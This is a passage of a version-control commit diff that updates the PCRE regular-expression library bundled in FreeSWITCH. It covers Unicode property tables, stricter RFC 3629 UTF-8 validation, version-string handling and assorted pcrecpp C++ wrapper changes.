+ 87, 16, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
+ 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
+
+/* block 155 */
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+
+/* block 156 */
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82, 82,
+ 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87, 87,
+
+/* block 157 */
+420,420,420,420,420,420,420,420,420,420,420,420,420,420,420,420,
+420,420,420,420,420,420,420,420,420,420,420,420,420,420,420,420,
+420,420,420,420,420,420,420,420,420,420,420,420,420,420,420,420,
+420,420,420,420,420,420,420,420,420,420,420,420,420,420,420,420,
+420,420,420,420,420,420,420,420,420,420,420,420,420,420,420,420,
+420,420,420,420,420,420,420,420,420,420,420,420,420,420,420,420,
+420,420,420,420,420,420,420,420,420,420,420,420,420,420,420,420,
+420,420,420,420,420,420,420,420,420,420,420,420,420,420, 87, 87,
+
+};
+
+#if UCD_BLOCK_SIZE != 128
+#error Please correct UCD_BLOCK_SIZE in pcre_internal.h
+#endif

Modified: freeswitch/branches/seven/libs/pcre/pcre_ucp_searchfuncs.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_ucp_searchfuncs.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_ucp_searchfuncs.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -41,6 +41,10 @@
 /* This module contains code for searching the table of Unicode character
 properties. */
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include "pcre_internal.h"
 
 #include "ucp.h"               /* Category definitions */

Modified: freeswitch/branches/seven/libs/pcre/pcre_valid_utf8.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_valid_utf8.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_valid_utf8.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2009 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -42,6 +42,10 @@
 strings. */
 
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include "pcre_internal.h"
 
 
@@ -55,6 +59,13 @@
 can be turned off for maximum performance, but the consequences of supplying
 an invalid string are then undefined.
 
+Originally, this function checked according to RFC 2279, allowing for values in
+the range 0 to 0x7fffffff, up to 6 bytes long, but ensuring that they were in
+the canonical format. Once somebody had pointed out RFC 3629 to me (it
+obsoletes 2279), additional restrictions were applied. The values are now
+limited to be between 0 and 0x0010ffff, no more than 4 bytes long, and the
+subrange 0xd000 to 0xdfff is excluded.
+
 Arguments:
   string       points to the string
   length       length of string, or -1 if the string is zero-terminated
@@ -64,9 +75,10 @@
 */
 
 int
-_pcre_valid_utf8(const uschar *string, int length)
+_pcre_valid_utf8(USPTR string, int length)
 {
-register const uschar *p;
+#ifdef SUPPORT_UTF8
+register USPTR p;
 
 if (length < 0)
   {
@@ -79,32 +91,49 @@
   register int ab;
   register int c = *p;
   if (c < 128) continue;
-  if ((c & 0xc0) != 0xc0) return p - string;
-  ab = _pcre_utf8_table4[c & 0x3f];  /* Number of additional bytes */
-  if (length < ab) return p - string;
+  if (c < 0xc0) return p - string;
+  ab = _pcre_utf8_table4[c & 0x3f];     /* Number of additional bytes */
+  if (length < ab || ab > 3) return p - string;
   length -= ab;
 
   /* Check top bits in the second byte */
   if ((*(++p) & 0xc0) != 0x80) return p - string;
 
-  /* Check for overlong sequences for each different length */
+  /* Check for overlong sequences for each different length, and for the
+  excluded range 0xd000 to 0xdfff.  */
+
   switch (ab)
     {
-    /* Check for xx00 000x */
+    /* Check for xx00 000x (overlong sequence) */
+
     case 1:
     if ((c & 0x3e) == 0) return p - string;
     continue;   /* We know there aren't any more bytes to check */
 
-    /* Check for 1110 0000, xx0x xxxx */
+    /* Check for 1110 0000, xx0x xxxx (overlong sequence) or
+                 1110 1101, 1010 xxxx (0xd000 - 0xdfff) */
+
     case 2:
-    if (c == 0xe0 && (*p & 0x20) == 0) return p - string;
+    if ((c == 0xe0 && (*p & 0x20) == 0) ||
+        (c == 0xed && *p >= 0xa0))
+      return p - string;
     break;
 
-    /* Check for 1111 0000, xx00 xxxx */
+    /* Check for 1111 0000, xx00 xxxx (overlong sequence) or
+       greater than 0x0010ffff (f4 8f bf bf) */
+
     case 3:
-    if (c == 0xf0 && (*p & 0x30) == 0) return p - string;
+    if ((c == 0xf0 && (*p & 0x30) == 0) ||
+        (c > 0xf4 ) ||
+        (c == 0xf4 && *p > 0x8f))
+      return p - string;
     break;
 
+#if 0
+    /* These cases can no longer occur, as we restrict to a maximum of four
+    bytes nowadays. Leave the code here in case we ever want to add an option
+    for longer sequences. */
+
     /* Check for 1111 1000, xx00 0xxx */
     case 4:
     if (c == 0xf8 && (*p & 0x38) == 0) return p - string;
@@ -115,6 +144,8 @@
     if (c == 0xfe || c == 0xff ||
        (c == 0xfc && (*p & 0x3c) == 0)) return p - string;
     break;
+#endif
+
     }
 
   /* Check for valid bytes after the 2nd, if any; all must start 10 */
@@ -123,6 +154,10 @@
     if ((*(++p) & 0xc0) != 0x80) return p - string;
     }
   }
+#else
+(void)(string);  /* Keep picky compilers happy */
+(void)(length);
+#endif
 
 return -1;
 }

Modified: freeswitch/branches/seven/libs/pcre/pcre_version.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_version.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_version.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2008 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -42,6 +42,10 @@
 string that identifies the PCRE version that is in use. */
 
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include "pcre_internal.h"
 
 
@@ -49,16 +53,38 @@
 *          Return version string                 *
 *************************************************/
 
+/* These macros are the standard way of turning unquoted text into C strings.
+They allow macros like PCRE_MAJOR to be defined without quotes, which is
+convenient for user programs that want to test its value. */
+
 #define STRING(a)  # a
 #define XSTRING(s) STRING(s)
 
-PCRE_DATA_SCOPE const char *
+/* A problem turned up with PCRE_PRERELEASE, which is defined empty for
+production releases. Originally, it was used naively in this code:
+
+  return XSTRING(PCRE_MAJOR)
+         "." XSTRING(PCRE_MINOR)
+             XSTRING(PCRE_PRERELEASE)
+         " " XSTRING(PCRE_DATE);
+
+However, when PCRE_PRERELEASE is empty, this leads to an attempted expansion of
+STRING(). The C standard states: "If (before argument substitution) any
+argument consists of no preprocessing tokens, the behavior is undefined." It
+turns out the gcc treats this case as a single empty string - which is what we
+really want - but Visual C grumbles about the lack of an argument for the
+macro. Unfortunately, both are within their rights. To cope with both ways of
+handling this, I had resort to some messy hackery that does a test at run time.
+I could find no way of detecting that a macro is defined as an empty string at
+pre-processor time. This hack uses a standard trick for avoiding calling
+the STRING macro with an empty argument when doing the test. */
+
+PCRE_EXP_DEFN const char * PCRE_CALL_CONVENTION
 pcre_version(void)
 {
-return XSTRING(PCRE_MAJOR)
-       "." XSTRING(PCRE_MINOR)
-           XSTRING(PCRE_PRERELEASE)
-       " " XSTRING(PCRE_DATE);
+return (XSTRING(Z PCRE_PRERELEASE)[1] == 0)?
+  XSTRING(PCRE_MAJOR.PCRE_MINOR PCRE_DATE) :
+  XSTRING(PCRE_MAJOR.PCRE_MINOR) XSTRING(PCRE_PRERELEASE PCRE_DATE);
 }
 
 /* End of pcre_version.c */

Modified: freeswitch/branches/seven/libs/pcre/pcre_xclass.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_xclass.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_xclass.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2009 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -39,10 +39,13 @@
 
 
 /* This module contains an internal function that is used to match an extended
-class (one that contains characters whose values are > 255). It is used by both
-pcre_exec() and pcre_def_exec(). */
+class. It is used by both pcre_exec() and pcre_def_exec(). */
 
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include "pcre_internal.h"
 
 
@@ -51,7 +54,7 @@
 *************************************************/
 
 /* This function is called to match a character against an extended class that
-might contain values > 255.
+might contain values > 255 and/or Unicode properties.
 
 Arguments:
   c           the character
@@ -100,8 +103,7 @@
 #ifdef SUPPORT_UCP
   else  /* XCL_PROP & XCL_NOTPROP */
     {
-    int chartype, script;
-    int category = _pcre_ucp_findprop(c, &chartype, &script);
+    const ucd_record *prop = GET_UCD(c);
 
     switch(*data)
       {
@@ -110,20 +112,20 @@
       break;
 
       case PT_LAMP:
-      if ((chartype == ucp_Lu || chartype == ucp_Ll || chartype == ucp_Lt) ==
+      if ((prop->chartype == ucp_Lu || prop->chartype == ucp_Ll || prop->chartype == ucp_Lt) ==
           (t == XCL_PROP)) return !negated;
       break;
 
       case PT_GC:
-      if ((data[1] == category) == (t == XCL_PROP)) return !negated;
+      if ((data[1] == _pcre_ucp_gentype[prop->chartype]) == (t == XCL_PROP)) return !negated;
       break;
 
       case PT_PC:
-      if ((data[1] == chartype) == (t == XCL_PROP)) return !negated;
+      if ((data[1] == prop->chartype) == (t == XCL_PROP)) return !negated;
       break;
 
       case PT_SC:
-      if ((data[1] == script) == (t == XCL_PROP)) return !negated;
+      if ((data[1] == prop->script) == (t == XCL_PROP)) return !negated;
       break;
 
       /* This should never occur, but compilers may mutter if there is no

Modified: freeswitch/branches/seven/libs/pcre/pcrecpp.cc (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcrecpp.cc	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcrecpp.cc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -29,6 +29,10 @@
 //
 // Author: Sanjay Ghemawat
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include <stdlib.h>
 #include <stdio.h>
 #include <ctype.h>
@@ -37,13 +41,11 @@
 #include <errno.h>
 #include <string>
 #include <algorithm>
-#include "config.h"
-// We need this to compile the proper dll on windows/msys.  This is copied
-// from pcre_internal.h.  It would probably be better just to include that.
-#define PCRE_DEFINITION  /* Win32 __declspec(export) trigger for .dll */
+
+#include "pcrecpp_internal.h"
 #include "pcre.h"
+#include "pcrecpp.h"
 #include "pcre_stringpiece.h"
-#include "pcrecpp.h"
 
 
 namespace pcrecpp {
@@ -53,15 +55,31 @@
 static const int kVecSize = (1 + kMaxArgs) * 3;  // results + PCRE workspace
 
 // Special object that stands-in for no argument
-Arg no_arg((void*)NULL);
+Arg RE::no_arg((void*)NULL);
 
+// This is for ABI compatibility with old versions of pcre (pre-7.6),
+// which defined a global no_arg variable instead of putting it in the
+// RE class.  This works on GCC >= 3, at least.  It definitely works
+// for ELF, but may not for other object formats (Mach-O, for
+// instance, does not support aliases.)  We could probably have a more
+// inclusive test if we ever needed it.  (Note that not only the
+// __attribute__ syntax, but also __USER_LABEL_PREFIX__, are
+// gnu-specific.)
+#if defined(__GNUC__) && __GNUC__ >= 3 && defined(__ELF__)
+# define ULP_AS_STRING(x)            ULP_AS_STRING_INTERNAL(x)
+# define ULP_AS_STRING_INTERNAL(x)   #x
+# define USER_LABEL_PREFIX_STR       ULP_AS_STRING(__USER_LABEL_PREFIX__)
+extern Arg no_arg
+  __attribute__((alias(USER_LABEL_PREFIX_STR "_ZN7pcrecpp2RE6no_argE")));
+#endif
+
 // If a regular expression has no error, its error_ field points here
 static const string empty_string;
 
 // If the user doesn't ask for any options, we just use this one
 static RE_Options default_options;
 
-void RE::Init(const char* pat, const RE_Options* options) {
+void RE::Init(const string& pat, const RE_Options* options) {
   pattern_ = pat;
   if (options == NULL) {
     options_ = default_options;
@@ -74,27 +92,22 @@
 
   re_partial_ = Compile(UNANCHORED);
   if (re_partial_ != NULL) {
-    // Check for complicated patterns.  The following change is
-    // conservative in that it may treat some "simple" patterns
-    // as "complex" (e.g., if the vertical bar is in a character
-    // class or is escaped).  But it seems good enough.
-    if (strchr(pat, '|') == NULL) {
-      // Simple pattern: we can use position-based checks to perform
-      // fully anchored matches
-      re_full_ = re_partial_;
-    } else {
-      // We need a special pattern for anchored matches
-      re_full_ = Compile(ANCHOR_BOTH);
-    }
+    re_full_ = Compile(ANCHOR_BOTH);
   }
 }
 
+void RE::Cleanup() {
+  if (re_full_ != NULL)         (*pcre_free)(re_full_);
+  if (re_partial_ != NULL)      (*pcre_free)(re_partial_);
+  if (error_ != &empty_string)  delete error_;
+}
+
+
 RE::~RE() {
-  if (re_full_ != NULL && re_full_ != re_partial_) (*pcre_free)(re_full_);
-  if (re_partial_ != NULL)                         (*pcre_free)(re_partial_);
-  if (error_ != &empty_string)                     delete error_;
+  Cleanup();
 }
 
+
 pcre* RE::Compile(Anchor anchor) {
   // First, convert RE_Options into pcre options
   int pcre_options = 0;
@@ -334,13 +347,17 @@
 
 // Returns PCRE_NEWLINE_CRLF, PCRE_NEWLINE_CR, or PCRE_NEWLINE_LF.
 // Note that PCRE_NEWLINE_CRLF is defined to be P_N_CR | P_N_LF.
+// Modified by PH to add PCRE_NEWLINE_ANY and PCRE_NEWLINE_ANYCRLF.
+
 static int NewlineMode(int pcre_options) {
   // TODO: if we can make it threadsafe, cache this var
   int newline_mode = 0;
   /* if (newline_mode) return newline_mode; */  // do this once it's cached
-  if (pcre_options & (PCRE_NEWLINE_CRLF|PCRE_NEWLINE_CR|PCRE_NEWLINE_LF)) {
+  if (pcre_options & (PCRE_NEWLINE_CRLF|PCRE_NEWLINE_CR|PCRE_NEWLINE_LF|
+                      PCRE_NEWLINE_ANY|PCRE_NEWLINE_ANYCRLF)) {
     newline_mode = (pcre_options &
-                    (PCRE_NEWLINE_CRLF|PCRE_NEWLINE_CR|PCRE_NEWLINE_LF));
+                    (PCRE_NEWLINE_CRLF|PCRE_NEWLINE_CR|PCRE_NEWLINE_LF|
+                     PCRE_NEWLINE_ANY|PCRE_NEWLINE_ANYCRLF));
   } else {
     int newline;
     pcre_config(PCRE_CONFIG_NEWLINE, &newline);
@@ -350,8 +367,12 @@
       newline_mode = PCRE_NEWLINE_CR;
     else if (newline == 3338)
       newline_mode = PCRE_NEWLINE_CRLF;
+    else if (newline == -1)
+      newline_mode = PCRE_NEWLINE_ANY;
+    else if (newline == -2)
+      newline_mode = PCRE_NEWLINE_ANYCRLF;
     else
-      assert("" == "Unexpected return value from pcre_config(NEWLINE)");
+      assert(NULL == "Unexpected return value from pcre_config(NEWLINE)");
   }
   return newline_mode;
 }
@@ -364,7 +385,7 @@
   int start = 0;
   int lastend = -1;
 
-  for (; start <= static_cast<int>(str->length()); count++) {
+  while (start <= static_cast<int>(str->length())) {
     int matches = TryMatch(*str, start, UNANCHORED, vec, kVecSize);
     if (matches <= 0)
       break;
@@ -379,9 +400,13 @@
       // Note it's better to call pcre_fullinfo() than to examine
       // all_options(), since options_ could have changed bewteen
       // compile-time and now, but this is simpler and safe enough.
+      // Modified by PH to add ANY and ANYCRLF.
       if (start+1 < static_cast<int>(str->length()) &&
           (*str)[start] == '\r' && (*str)[start+1] == '\n' &&
-          NewlineMode(options_.all_options()) == PCRE_NEWLINE_CRLF) {
+          (NewlineMode(options_.all_options()) == PCRE_NEWLINE_CRLF ||
+           NewlineMode(options_.all_options()) == PCRE_NEWLINE_ANY ||
+           NewlineMode(options_.all_options()) == PCRE_NEWLINE_ANYCRLF)
+          ) {
         matchend++;
       }
       // We also need to advance more than one char if we're in utf8 mode.
@@ -424,6 +449,40 @@
   return Rewrite(out, rewrite, text, vec, matches);
 }
 
+/*static*/ string RE::QuoteMeta(const StringPiece& unquoted) {
+  string result;
+
+  // Escape any ascii character not in [A-Za-z_0-9].
+  //
+  // Note that it's legal to escape a character even if it has no
+  // special meaning in a regular expression -- so this function does
+  // that.  (This also makes it identical to the perl function of the
+  // same name; see `perldoc -f quotemeta`.)  The one exception is
+  // escaping NUL: rather than doing backslash + NUL, like perl does,
+  // we do '\0', because pcre itself doesn't take embedded NUL chars.
+  for (int ii = 0; ii < unquoted.size(); ++ii) {
+    // Note that using 'isalnum' here raises the benchmark time from
+    // 32ns to 58ns:
+    if (unquoted[ii] == '\0') {
+      result += "\\0";
+    } else if ((unquoted[ii] < 'a' || unquoted[ii] > 'z') &&
+               (unquoted[ii] < 'A' || unquoted[ii] > 'Z') &&
+               (unquoted[ii] < '0' || unquoted[ii] > '9') &&
+               unquoted[ii] != '_' &&
+               // If this is the part of a UTF8 or Latin1 character, we need
+               // to copy this byte without escaping.  Experimentally this is
+               // what works correctly with the regexp library.
+               !(unquoted[ii] & 128)) {
+      result += '\\';
+      result += unquoted[ii];
+    } else {
+      result += unquoted[ii];
+    }
+  }
+
+  return result;
+}
+
 /***** Actual matching and rewriting code *****/
 
 int RE::TryMatch(const StringPiece& text,
@@ -437,7 +496,7 @@
     return 0;
   }
 
-  pcre_extra extra = { 0 };
+  pcre_extra extra = { 0, 0, 0, 0, 0, 0 };
   if (options_.match_limit() > 0) {
     extra.flags |= PCRE_EXTRA_MATCH_LIMIT;
     extra.match_limit = options_.match_limit();
@@ -470,13 +529,6 @@
     rc = vecsize / 2;
   }
 
-  if ((anchor == ANCHOR_BOTH) && (re_full_ == re_partial_)) {
-    // We need an extra check to make sure that the match extended
-    // to the end of the input string
-    assert(vec[0] == 0);                 // PCRE_ANCHORED forces starting match
-    if (vec[1] != text.size()) return 0; // Did not get ending match
-  }
-
   return rc;
 }
 
@@ -553,14 +605,14 @@
         if (start >= 0)
           out->append(text.data() + start, vec[2 * n + 1] - start);
       } else if (c == '\\') {
-        out->push_back('\\');
+        *out += '\\';
       } else {
         //fprintf(stderr, "invalid rewrite pattern: %.*s\n",
         //        rewrite.size(), rewrite.data());
         return false;
       }
     } else {
-      out->push_back(c);
+      *out += c;
     }
   }
   return true;
@@ -588,23 +640,27 @@
 }
 
 bool Arg::parse_string(const char* str, int n, void* dest) {
+  if (dest == NULL) return true;
   reinterpret_cast<string*>(dest)->assign(str, n);
   return true;
 }
 
 bool Arg::parse_stringpiece(const char* str, int n, void* dest) {
+  if (dest == NULL) return true;
   reinterpret_cast<StringPiece*>(dest)->set(str, n);
   return true;
 }
 
 bool Arg::parse_char(const char* str, int n, void* dest) {
   if (n != 1) return false;
+  if (dest == NULL) return true;
   *(reinterpret_cast<char*>(dest)) = str[0];
   return true;
 }
 
 bool Arg::parse_uchar(const char* str, int n, void* dest) {
   if (n != 1) return false;
+  if (dest == NULL) return true;
   *(reinterpret_cast<unsigned char*>(dest)) = str[0];
   return true;
 }
@@ -653,6 +709,7 @@
   long r = strtol(str, &end, radix);
   if (end != str + n) return false;   // Leftover junk
   if (errno) return false;
+  if (dest == NULL) return true;
   *(reinterpret_cast<long*>(dest)) = r;
   return true;
 }
@@ -670,6 +727,7 @@
   unsigned long r = strtoul(str, &end, radix);
   if (end != str + n) return false;   // Leftover junk
   if (errno) return false;
+  if (dest == NULL) return true;
   *(reinterpret_cast<unsigned long*>(dest)) = r;
   return true;
 }
@@ -681,7 +739,8 @@
   long r;
   if (!parse_long_radix(str, n, &r, radix)) return false; // Could not parse
   if (r < SHRT_MIN || r > SHRT_MAX) return false;       // Out of range
-  *(reinterpret_cast<short*>(dest)) = r;
+  if (dest == NULL) return true;
+  *(reinterpret_cast<short*>(dest)) = static_cast<short>(r);
   return true;
 }
 
@@ -692,7 +751,8 @@
   unsigned long r;
   if (!parse_ulong_radix(str, n, &r, radix)) return false; // Could not parse
   if (r > USHRT_MAX) return false;                      // Out of range
-  *(reinterpret_cast<unsigned short*>(dest)) = r;
+  if (dest == NULL) return true;
+  *(reinterpret_cast<unsigned short*>(dest)) = static_cast<unsigned short>(r);
   return true;
 }
 
@@ -703,6 +763,7 @@
   long r;
   if (!parse_long_radix(str, n, &r, radix)) return false; // Could not parse
   if (r < INT_MIN || r > INT_MAX) return false;         // Out of range
+  if (dest == NULL) return true;
   *(reinterpret_cast<int*>(dest)) = r;
   return true;
 }
@@ -714,6 +775,7 @@
   unsigned long r;
   if (!parse_ulong_radix(str, n, &r, radix)) return false; // Could not parse
   if (r > UINT_MAX) return false;                       // Out of range
+  if (dest == NULL) return true;
   *(reinterpret_cast<unsigned int*>(dest)) = r;
   return true;
 }
@@ -734,11 +796,14 @@
   long long r = strtoq(str, &end, radix);
 #elif defined HAVE_STRTOLL
   long long r = strtoll(str, &end, radix);
+#elif defined HAVE__STRTOI64
+  long long r = _strtoi64(str, &end, radix);
 #else
 #error parse_longlong_radix: cannot convert input to a long-long
 #endif
   if (end != str + n) return false;   // Leftover junk
   if (errno) return false;
+  if (dest == NULL) return true;
   *(reinterpret_cast<long long*>(dest)) = r;
   return true;
 #endif   /* HAVE_LONG_LONG */
@@ -761,11 +826,14 @@
   unsigned long long r = strtouq(str, &end, radix);
 #elif defined HAVE_STRTOLL
   unsigned long long r = strtoull(str, &end, radix);
+#elif defined HAVE__STRTOI64
+  unsigned long long r = _strtoui64(str, &end, radix);
 #else
 #error parse_ulonglong_radix: cannot convert input to a long-long
 #endif
   if (end != str + n) return false;   // Leftover junk
   if (errno) return false;
+  if (dest == NULL) return true;
   *(reinterpret_cast<unsigned long long*>(dest)) = r;
   return true;
 #endif   /* HAVE_UNSIGNED_LONG_LONG */
@@ -783,6 +851,7 @@
   double r = strtod(buf, &end);
   if (end != buf + n) return false;   // Leftover junk
   if (errno) return false;
+  if (dest == NULL) return true;
   *(reinterpret_cast<double*>(dest)) = r;
   return true;
 }
@@ -790,6 +859,7 @@
 bool Arg::parse_float(const char* str, int n, void* dest) {
   double r;
   if (!parse_double(str, n, &r)) return false;
+  if (dest == NULL) return true;
   *(reinterpret_cast<float*>(dest)) = static_cast<float>(r);
   return true;
 }
@@ -809,14 +879,14 @@
     return parse_##name##_radix(str, n, dest, 0);                       \
   }
 
-DEFINE_INTEGER_PARSERS(short);
-DEFINE_INTEGER_PARSERS(ushort);
-DEFINE_INTEGER_PARSERS(int);
-DEFINE_INTEGER_PARSERS(uint);
-DEFINE_INTEGER_PARSERS(long);
-DEFINE_INTEGER_PARSERS(ulong);
-DEFINE_INTEGER_PARSERS(longlong);
-DEFINE_INTEGER_PARSERS(ulonglong);
+DEFINE_INTEGER_PARSERS(short)      /*                                   */
+DEFINE_INTEGER_PARSERS(ushort)     /*                                   */
+DEFINE_INTEGER_PARSERS(int)        /* Don't use semicolons after these  */
+DEFINE_INTEGER_PARSERS(uint)       /* statements because they can cause */
+DEFINE_INTEGER_PARSERS(long)       /* compiler warnings if the checking */
+DEFINE_INTEGER_PARSERS(ulong)      /* level is turned up high enough.   */
+DEFINE_INTEGER_PARSERS(longlong)   /*                                   */
+DEFINE_INTEGER_PARSERS(ulonglong)  /*                                   */
 
 #undef DEFINE_INTEGER_PARSERS
 

Modified: freeswitch/branches/seven/libs/pcre/pcrecpp.h (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcrecpp.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcrecpp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -112,6 +112,12 @@
 //    T             (where "bool T::ParseFrom(const char*, int)" exists)
 //    NULL          (the corresponding matched sub-pattern is not copied)
 //
+// CAVEAT: An optional sub-pattern that does not exist in the matched
+// string is assigned the empty string.  Therefore, the following will
+// return false (because the empty string is not a valid number):
+//    int number;
+//    pcrecpp::RE::FullMatch("abc", "[a-z]+(\\d+)?", &number);
+//
 // -----------------------------------------------------------------------
 // DO_MATCH
 //
@@ -325,11 +331,10 @@
 
 
 #include <string>
+#include <pcre.h>
 #include <pcrecpparg.h>   // defines the Arg class
-// These aren't technically needed here, but we include them
-// anyway so folks who include pcrecpp.h don't have to include
-// all these other header files as well.
-#include <pcre.h>
+// This isn't technically needed here, but we include it
+// anyway so folks who include pcrecpp.h don't have to.
 #include <pcre_stringpiece.h>
 
 namespace pcrecpp {
@@ -341,16 +346,13 @@
 #define PCRE_IS_SET(o)  \
         (all_options_ & o) == o
 
-// We convert user-passed pointers into special Arg objects
-extern Arg no_arg;
-
 /***** Compiling regular expressions: the RE class *****/
 
 // RE_Options allow you to set options to be passed along to pcre,
 // along with other options we put on top of pcre.
 // Only 9 modifiers, plus match_limit and match_limit_recursion,
 // are supported now.
-class RE_Options {
+class PCRECPP_EXP_DEFN RE_Options {
  public:
   // constructor
   RE_Options() : match_limit_(0), match_limit_recursion_(0), all_options_(0) {}
@@ -398,25 +400,25 @@
     return PCRE_IS_SET(PCRE_DOTALL);
   }
   RE_Options &set_dotall(bool x) {
-    PCRE_SET_OR_CLEAR(x,PCRE_DOTALL);
+    PCRE_SET_OR_CLEAR(x, PCRE_DOTALL);
   }
 
   bool extended() const {
     return PCRE_IS_SET(PCRE_EXTENDED);
   }
   RE_Options &set_extended(bool x) {
-    PCRE_SET_OR_CLEAR(x,PCRE_EXTENDED);
+    PCRE_SET_OR_CLEAR(x, PCRE_EXTENDED);
   }
 
   bool dollar_endonly() const {
     return PCRE_IS_SET(PCRE_DOLLAR_ENDONLY);
   }
   RE_Options &set_dollar_endonly(bool x) {
-    PCRE_SET_OR_CLEAR(x,PCRE_DOLLAR_ENDONLY);
+    PCRE_SET_OR_CLEAR(x, PCRE_DOLLAR_ENDONLY);
   }
 
   bool extra() const {
-    return PCRE_IS_SET( PCRE_EXTRA);
+    return PCRE_IS_SET(PCRE_EXTRA);
   }
   RE_Options &set_extra(bool x) {
     PCRE_SET_OR_CLEAR(x, PCRE_EXTRA);
@@ -482,15 +484,38 @@
 // Interface for regular expression matching.  Also corresponds to a
 // pre-compiled regular expression.  An "RE" object is safe for
 // concurrent use by multiple threads.
-class RE {
+class PCRECPP_EXP_DEFN RE {
  public:
   // We provide implicit conversions from strings so that users can
   // pass in a string or a "const char*" wherever an "RE" is expected.
+  RE(const string& pat) { Init(pat, NULL); }
+  RE(const string& pat, const RE_Options& option) { Init(pat, &option); }
   RE(const char* pat) { Init(pat, NULL); }
-  RE(const char *pat, const RE_Options& option) { Init(pat, &option); }
-  RE(const string& pat) { Init(pat.c_str(), NULL); }
-  RE(const string& pat, const RE_Options& option) { Init(pat.c_str(), &option); }
+  RE(const char* pat, const RE_Options& option) { Init(pat, &option); }
+  RE(const unsigned char* pat) {
+    Init(reinterpret_cast<const char*>(pat), NULL);
+  }
+  RE(const unsigned char* pat, const RE_Options& option) {
+    Init(reinterpret_cast<const char*>(pat), &option);
+  }
 
+  // Copy constructor & assignment - note that these are expensive
+  // because they recompile the expression.
+  RE(const RE& re) { Init(re.pattern_, &re.options_); }
+  const RE& operator=(const RE& re) {
+    if (this != &re) {
+      Cleanup();
+
+      // This is the code that originally came from Google
+      // Init(re.pattern_.c_str(), &re.options_);
+
+      // This is the replacement from Ari Pollak
+      Init(re.pattern_, &re.options_);
+    }
+    return *this;
+  }
+
+
   ~RE();
 
   // The string specification for this RE.  E.g.
@@ -589,6 +614,18 @@
                const StringPiece &text,
                string *out) const;
 
